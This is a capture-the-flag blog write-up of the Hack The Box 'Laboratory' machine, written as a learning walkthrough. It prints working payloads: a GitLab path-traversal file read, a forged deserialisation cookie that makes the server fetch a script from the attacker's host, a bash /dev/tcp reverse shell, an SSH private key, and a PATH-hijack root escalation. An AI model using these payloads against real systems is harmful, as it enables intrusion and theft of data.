This box has to be the toughest one I have done until now. Easy box? Hell no! With a current rating of 4.5, it is higher than most of the Medium level boxes. I started this one off with my brother in arms T13nn3s during a pizza and hack evening at work. Be sure to check out his blog.
[0x1] Reconnaissance & Enumeration
Let’s start this box with a Nmap scan to see which ports are available. It is not much, but there are two active ports which I can use. Port 80 gets redirected to https://laboratory.htb so that one doesn’t appear to be interesting.
nmap -sC -sV -p- -oA laboratory-allports 10.10.10.216 Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-20 11:14 EST Nmap scan report for laboratory (10.10.10.216) Host is up (0.057s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb | Not valid before: 2020-07-05T10:39:28 |_Not valid after: 2024-03-03T10:39:28 | tls-alpn: |_ http/1.1 Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
When opening the website there is a certificate warning. This is always nice because when you look at the certificate you can see if there are any other hostnames used for this box. As the Nmap already revealed, there is a second domain running on the box under the url: https://git.laboratory.htb. First, let’s check out the current site for anything interesting.
The main website does not really have anything interesting on it. No usernames or clues to information that is usable. So for now, I will let this page be it boring self.
The newfound DNS names appear to be a hosted GitLab Community Edition service. This must be the way to the initial foothold.
[0x2] Initial Foothold
The first thing I tried was to create an account on the website to see what would happen. This worked without any problems. After clicking around, I created some projects within the application but there was nothing out of the ordinary there.
After some searching around we stumbled upon an article about an Arbitrary File Read vulnerability in GitLab. It was disclosed on HackerOne and present in the running version on this box, namely 12.8.1. The way to exploit the vulnerability is to create an Issue in a project, use the payload as the text, and then save it. Now you move it to another project and the requested file is added as an attachment. The reason this works is that there is no validation of the filenames to be copied when you move an issue to another project. So to see if it worked we used the payload below for the /etc/passwd file.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Now that our Issue is created, we can proceed with the movement to another project. As you can see below the “getPasswdIssue” text, there is no attachment, only the letter ‘a’.
After the move is complete, the ‘a’ changes to a paperclip icon with the name of the file attached.
When opening the attachment, the users from the passwd file and shown perfectly. This might come in handy for the future.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin git:x:998:998::/var/opt/gitlab:/bin/sh gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh registry:x:993:993::/var/opt/gitlab/registry:/bin/sh gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
Having the File Read possibility is nice to have. But, what are we going to grab next? When reading through the vulnerability disclosure on HackerOne we noticed that there was also a payload described for achieving Remote Code Execution. Since one part of this was to grab the secrets.yml file from the box, the Arbitrary File Read payload came in handy again. Let’s repeat the process, but this time grab the secrets.yml file in /opt/gitlab/embedded/service/gitlab-rails/config/.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
And there we have it, the secrets.yml file nicely grabbed from the box, using the Arbitrary File Read vulnerability.
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
To get to the stage of using this file in an RCE attack, you need to locally install GitLab. This way you have a local Ruby on Rails which is needed to build the payload. Some people used the docker container for this, but I installed Gitlab locally on my machine. Since I can easily revert a snapshot after this box, I don’t mind the clutter.
I downloaded the installation file from the GitLab website. In my case that was gitlab-ce_12.8.1-ce.o_amd64.deb. After the download, it can be installed using dpkg.
sudo dpkg -i ~/Downloads/gitlab-ce_12.8.1-ce.0_amd64.deb Selecting previously unselected package gitlab-ce. (Reading database ... 358190 files and directories currently installed.) Preparing to unpack .../gitlab-ce_12.8.1-ce.0_amd64.deb ... Unpacking gitlab-ce (12.8.1-ce.0) ... Setting up gitlab-ce (12.8.1-ce.0) ... It looks like GitLab has not been configured yet; skipping the upgrade script. *. *. *** *** ***** ***** .****** ******* ******** ******** ,,,,,,,,,***********,,,,,,,,, ,,,,,,,,,,,*********,,,,,,,,,,, .,,,,,,,,,,,*******,,,,,,,,,,,, ,,,,,,,,,*****,,,,,,,,,. ,,,,,,,****,,,,,, .,,,***,,,, ,*,. _______ __ __ __ / ____(_) /_/ / ____ _/ /_ / / __/ / __/ / / __ `/ __ \ / /_/ / / /_/ /___/ /_/ / /_/ / \____/_/\__/_____/\__,_/_.___/ Thank you for installing GitLab! GitLab was unable to detect a valid hostname for your instance. Please configure a URL for your GitLab instance by setting `external_url` configuration in /etc/gitlab/gitlab.rb file. Then, you can start your GitLab instance by running the following command: sudo gitlab-ctl reconfigure
When the installation is finished, which takes a few minutes, you have to reconfigure GitLab as stated in the instructions. This will also take a few minutes.
gitlab-ctl reconfigure
Now that GitLab is setup, there is one thing left to do. Making sure that the secrets.yml file contains the secret_key_base value grabbed using the Arbitrary File Read.
nano opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml production: db_key_base: 63416a838bdd04fa3e48281cc041048a2dd5b2e7fb548b6412adf4318c080fa8d07bffea2235f868ac4c4ae5a3e8a73124e768e08cfab08056e88b9f573131bd secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 otp_key_base: c1017c34798618ccd58869435107fb037497ef0aa93423bbebf305a7411cea83a58e14d3786fa8a7b0df668537b8ea9e953a615bfcfb28c3f4aa0a92e52d35c7 openid_connect_signing_key: |
Now that everything is setup, it’s time to start the gitlab-rails console and create the payload.
gitlab-rails console -------------------------------------------------------------------------------- GitLab: 12.8.1 (d18b43a5f5a) FOSS GitLab Shell: 11.0.0 PostgreSQL: 10.12 -------------------------------------------------------------------------------- Loading production environment (Rails 6.0.2) irb(main):001:0>
Since my goal is to get RCE and create a reverse shell, I first create a bash script with a simple reverse shell command to my machine.
#!bin/bash bash -i >& /dev/tcp/10.10.14.64/1337 0>&1
The reverse shell script will be downloaded from the box. Using Python the file is served on a web server at port 8000.
python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
Now I use the payload from the writeup and replace the value for erb. Using curl, the reverse shell script gets downloaded from the local running webserver and stored in /tmp/. After entering the payload in the console the cookie gets generated. This cookie value will be the payload to use for running a command on the server.
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `curl 10.10.14.64:8000/revshell.sh -o /tmp/revshell.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie]
The output cookie is a large string you can simple copy.
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjY0OjgwMDAvcmV2c2hlbGwuc2ggLW8gL3RtcC9yZXZzaGVsbC5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d153f664a22b6fe0cf8e236df7ac59fff7ba5db3
Using curl towards the sign_in function of GitLab with our evil cookie, the server gets the command and runs it. Within the Python server, you can see the file being served. Since this box does not have a valid certificate but runs HTTPS, the -k parameter is needed to ignore the certificate warning.
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjY0OjgwMDAvcmV2c2hlbGwuc2ggLW8gL3RtcC9yZXZzaGVsbC5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d153f664a22b6fe0cf8e236df7ac59fff7ba5db3" -k
Since the first payload placed the file on the server, I repeat the action to actually run the downloaded payload on the box.
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `bash /tmp/revshell.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie]
Before firing off the cookie to the server, I set up a listener on port 1337 (because hacker).
netcat -lvnp 1337 listening on [any] 1337 ...
Now for the final payload using the generated cookie to the GitLab server.
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiVyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvcmV2c2hlbGwuc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--fe7c199c590a5328b4268085052665332d7b64d0" -k
Bam! Remote Code Execution and a reverse shell. I entered the box as the user ‘git’.
listening on [any] 1337 ... connect to [10.10.14.64] from (UNKNOWN) [10.10.10.216] 60322 bash: cannot set terminal process group (393): Inappropriate ioctl for device bash: no job control in this shell git@git:/$ whoami;id;hostname git uid=998(git) gid=998(git) groups=998(git) git.laboratory.htb
[0x3] Path to User flag
The first thing I checked was the presence of the user flag. I kinda hoped to have that milestone reached, but unfortunately no flag. I did notice the presence of a .dockerenv file. This means I am in a container on a Docker host, not an actual machine. Damn!
git@git:/$ls -sla ls -sla total 88 4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 . 4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 .. 0 -rwxr-xr-x 1 root root 0 Jul 2 18:01 .dockerenv 4 -rw-r--r-- 1 root root 157 Feb 24 2020 RELEASE 4 drwxr-xr-x 2 root root 4096 Feb 24 2020 assets 4 drwxr-xr-x 1 root root 4096 Feb 24 2020 bin 4 drwxr-xr-x 2 root root 4096 Apr 12 2016 boot [... clip ...] 4 drwxr-xr-x 1 root root 4096 Feb 12 2020 usr 4 drwxr-xr-x 1 root root 4096 Feb 12 2020 var
After searching around for a while, someone in the community gave me a hint. “Use the same console, but see if you can make the current user more powerful”. With this information, I launched the Rails console again and started looking for a user command.
git@git:~/gitlab-rails/shared$ gitlab-rails console gitlab-rails console -------------------------------------------------------------------------------- GitLab: 12.8.1 (d18b43a5f5a) FOSS GitLab Shell: 11.0.0 PostgreSQL: 10.12 -------------------------------------------------------------------------------- Loading production environment (Rails 6.0.2) Switch to inspect mode.
I used the command user.column_names to see what properties are included for a user. One of the properties is ‘admin’. Interesting….
User.column_names #There is a field named admin as aproperty for the user ["id", "email", "encrypted_password", "reset_password_token", "reset_password_sent_at", "remember_created_at", "sign_in_count", "current_sign_in_at", "last_sign_in_at", "current_sign_in_ip", "last_sign_in_ip", "created_at", "updated_at", "name", "admin", "projects_limit", "skype", "linkedin", "twitter", "bio", "failed_attempts", "locked_at", "username", "can_create_group", "can_create_team", "state", "color_scheme_id", "password_expires_at", "created_by_id", "last_credential_check_at", "avatar", "confirmation_token", "confirmed_at", "confirmation_sent_at", "unconfirmed_email", "hide_no_ssh_key", "website_url", "admin_email_unsubscribed_at", "notification_email", "hide_no_password", "password_automatically_set", "location", "encrypted_otp_secret", "encrypted_otp_secret_iv", "encrypted_otp_secret_salt", "otp_required_for_login", "otp_backup_codes", "public_email", "dashboard", "project_view", "consumed_timestep", "layout", "hide_project_limit", "note", "unlock_token", "otp_grace_period_started_at", "external", "incoming_email_token", "organization", "auditor", "require_two_factor_authentication_from_group", "two_factor_grace_period", "ghost", "last_activity_on", "notified_of_own_activity", "preferred_language", "email_opted_in", "email_opted_in_ip", "email_opted_in_source_id", "email_opted_in_at", "theme_id", "accepted_term_id", "feed_token", "private_profile", "roadmap_layout", "include_private_contributions", "commit_email", "group_view", "managing_group_id", "bot_type", "first_name", "last_name", "static_object_token", "role"]
You can select a user and see if it’s admin using the user.find_by command and after that check if it’s has admin permissions. Using my signup email address it shows that I am not an admin.
myuser=User.find_by(email: "d0p4m1n3mail@laboratory.htb") #<User id:5 @d0p4m1n3> myuser.admin false
At this moment I started to love the power of Ruby instantly. You can simply change the value of a user attribute by setting its value. So I changed the value for admin to true and saved it. After repeating the command above, I noticed that I now am an admin.
myuser.admin=true true myuser.save true
When I started to look around on the GitLab website, I got really excited. Now that I am an admin, there are two private projects visible. And the last one has the name “SecureDocker”. That must be where the loot is.
When opening the project there is a repo with some information. Also, a folder named “Dexter’. I have seen this name before on the default website, so that could maybe be the next user I need.
And this is exactly what I was looking for. An SSH key for the user Dexter.
Let’s save this key in a file for usage with the ssh client.
-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
The key is valid and using SSH, I can now connect to the box as Dexter.
dexter@laboratory.htb -i ssh_key.txt dexter@laboratory:~$ whoami;id;hostname dexter uid=1000(dexter) gid=1000(dexter) groups=1000(dexter) laboratory
There better be a user flag in here. And fortunately, there is.
dexter@laboratory:~$ ls -la total 40 drwxr-xr-x 6 dexter dexter 4096 Oct 22 08:42 . drwxr-xr-x 3 root root 4096 Jun 26 20:17 .. lrwxrwxrwx 1 root root 9 Jul 17 15:19 .bash_history -> /dev/null -rw-r--r-- 1 dexter dexter 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 dexter dexter 3771 Feb 25 2020 .bashrc drwx------ 2 dexter dexter 4096 Jun 26 20:29 .cache drwx------ 2 dexter dexter 4096 Oct 22 08:14 .gnupg drwxrwxr-x 3 dexter dexter 4096 Jun 26 20:48 .local -rw-r--r-- 1 dexter dexter 807 Feb 25 2020 .profile drwx------ 2 dexter dexter 4096 Jun 26 21:21 .ssh -r--r----- 1 root dexter 33 Nov 20 16:11 user.txt dexter@laboratory:~$ cat user.txt 6c49118f0d340271ec66e01b0ed698e9
[0x4] Path to Root flag
Now the only step left is the privilege escalation to root. I used linpeas first, but this did not really give me what I was looking for. Time for LinEnum.
linenum.sh
LinEnum found an interesting SUID file. On this file, Dexter has permissions. Usually, this means “bingo”.
[+] Possibly interesting SUID files: -rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security
When checking the content of the docker-security file, there is a lot of jibberish. This is due to the fact that I am using cat to read it. As you can see, it calls chmod two times.
Using a Privilege Escalation using Path variable, you can trick the machine into executing a program in the current direction first, instead of the actual location. When you have a (.) in your Path, you could execute a command, in my case chmod in the location you are currently are. We know the docker-security program runs chmod. So why not create a file called chmod and put it in a bash shell. When the attack works, the chmod file in the current directory will be run, instead of the one in /usr/bin.
echo "/bin/bash" > chmod chmod +x chmod export PATH=.:${PATH} /usr/local/bin/docker-security
When I run the docker-security program while in /tmp/ chmod gets executed and the root shell appears.
root@laboratory:/tmp# whoami;id;hostname root uid=0(root) gid=0(root) groups=0(root),1000(dexter) laboratory
Finally, this box is rooted. I have no idea who put the label “Easy” on this box because it scores higher than some Hard boxes. Nevertheless, it’s done!
root@laboratory:/tmp# cat /root/root.txt 27494a8bbebd7f5bc77578989ffab272
[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]